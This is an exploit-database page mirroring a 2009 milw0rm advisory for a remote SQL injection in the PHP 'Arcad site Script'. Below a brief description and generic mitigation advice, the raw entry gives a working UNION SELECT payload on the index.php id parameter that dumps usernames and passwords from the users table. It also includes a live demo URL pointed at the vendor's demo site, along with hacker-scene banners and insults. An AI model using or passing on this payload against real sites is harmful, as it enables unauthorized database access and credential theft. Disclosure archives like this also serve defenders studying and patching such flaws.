Arcad site Script - exploit.company

vendor:

Arcad site Script

by:

Red-D3v1L

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Arcad site Script

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Arcad site Script <== Remote SQL Injection Vulnerability

An attacker can exploit this vulnerability by sending a crafted HTTP request to the vulnerable application. The attacker can inject malicious SQL queries in the vulnerable parameter and execute arbitrary SQL commands in the back-end database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. The application should also use parameterized queries to prevent SQL injection attacks.

Source

Exploit-DB raw data:

==============================================================================
  ##  Hackteach.OrG ##
             

/ ___   )(  __   )/ ___   )
\/   )  || (  )  |\/   )  |
    /   )| | /   |    /   )
   /   / | (/ /) |   /   / 
  /   /  |   / | |  /   /  
 /   (_/\|  (__) | /   (_/\
(_______/(_______)(_______/
       
==============================================================================
        [Â»] ~ Note : Hacker R0x Lamerz Sux !
==============================================================================
        [Â»]  Arcad site Script <== Remote SQL Injection Vulnerability
==============================================================================
    [Â»] my home:             [ Hackteach.org ]
    [Â»] Script:              [ Arcad site Script ]
    [Â»] Language:            [ PHP ]
    [Â»] Download:            [ http://www.turnkeyarcade.com/ ]
    [Â»] Founder:             [ Red-D3v1L < php-c0de@hotmail.com > ]
    [Â»] Gr44tz to:           [ All member Hackteach.org/cc - Str0ke - sp3x ]
    [Â»] Fuck To :            [ Anti-trust << Big Big Big Lamer << ]
########################################################################

===[ Exploit SQL ]===  

    [Â»] Path/index.php?action=browse&id=-7+union+select+1,2,concat(password,0x3e,username),4+from+users--


    [Â»] L1v3 d3m0 : http://www.turnkeyarcade.com/demo/index.php?action=browse&id=-7+union+select+1,2,concat(password,0x3e,username),4+from+users--

Author: Red-D3v1L <-

###########################################################################

# milw0rm.com [2009-08-25]